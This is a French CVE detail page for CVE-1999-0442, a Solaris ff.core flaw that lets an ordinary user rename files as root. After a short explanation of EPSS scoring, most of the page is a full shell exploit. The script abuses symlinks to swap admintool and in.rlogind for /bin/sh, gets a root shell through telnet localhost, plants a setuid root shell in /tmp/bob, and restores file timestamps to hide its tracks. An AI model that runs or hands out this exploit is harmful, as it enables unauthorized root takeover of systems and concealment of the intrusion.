CVE-1999-0442 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#source: https://www.securityfocus.com/bid/327/info # #There is a vulnerability in Solaris's ff.core utility which allows normal users to execute the rename command as root. This particular bug when leveraged against a series of other configuration issues in a standard Solaris setup can lead to a root compromise. An example of this attack executed via the ff.core rename attack could be as follows: # #1. rename /usr/bin/sh /usr/bin/admintool #2. rename /usr/sbin/swmtool /usr/sbin/in.rlogind #3. telnet localhost login and clean up # #Detailed messages concerning this problem and related fixes are attached to this Vulnerability in the Referance section. # #CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild. # #The following exploit was provided: #!/bin/sh # /usr/openwin/bin/ff.core exploit - horizon # tested on 2.5.1, 2.6 and Solaris 7 (2.7) # thanks to joej, adm, and joej :> # if you want to exploit 2.5, you can just make this move /etc/group over # /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak # first test if we can pull this off echo "Testing if exploit is possible..." if [ -x /usr/openwin/bin/ff.core ] then : else echo "ff.core isn't there or executable. :/" exit 1 fi if [ -w /vol/rmt ] then : else echo "We can't do the symlink. :<" exit 1 fi mkdir /tmp/.test42 touch /tmp/.test42/bob rm -f /vol/rmt/diskette0 ln -fs /tmp/.test42 /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null if [ -f /tmp/.test42/jim ] then echo "Test successful. Proceeding..." else echo "Hmmm.. doesn't look like this is going to work :/" exit 1 fi rm -rf /tmp/.test42 # lets make some backups echo "Backing up clobbered files to /tmp/.bk" mkdir /tmp/.bk #save admintools times touch /tmp/.bk/admintool touch -r /usr/bin/admintool /tmp/.bk/admintool #save rloginds times touch /tmp/.bk/in.rlogind touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind #save a copy of /usr/bin/sh cp /usr/bin/sh /tmp/.bk touch -r /usr/bin/sh /tmp/.bk/sh echo "Doing sploit..." rm -f /vol/rmt/diskette0 ln -fs /usr/bin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null rm -f /vol/rmt/diskette0 ln -fs /usr/bin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null rm -f /vol/rmt/diskette0 ln -fs /usr/sbin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null rm -f /vol/rmt/diskette0 ln -fs /usr/sbin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null echo "Done with sploit. Testing and trying to clean up now..." sleep 1 (sleep 2;echo " cp /bin/rksh /tmp/bob; chmod 4755 /tmp/bob; exit; ") | telnet localhost login sleep 1 if [ -f /tmp/bob ] then echo "w00p! Should have a suid root sh in /tmp/bob" echo "btw, its rksh because solaris is silly" echo "Let me try to clean up my mess..." else echo "hrmmph.. didnt work. hope shits not screwed up bad :/" exit 1 fi echo " cp /tmp/.bk/sh /usr/bin/sh chmod 555 /usr/bin/sh chown bin /usr/bin/sh chgrp root /usr/bin/sh touch -r /tmp/.bk/sh /usr/bin/sh mv /usr/bin/admintool.bak /usr/bin/admintool touch -r /tmp/.bk/admintool /usr/bin/admintool rm -f /usr/sbin/swmtool ln -s /usr/bin/admintool /usr/sbin/swmtool touch -r /usr/bin/admintool /usr/sbin/swmtool rm -f /usr/sbin/in.rlogind mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind rm -rf /tmp/.bk " | /tmp/bob echo "everything should be cool.. i think :>" /tmp/bob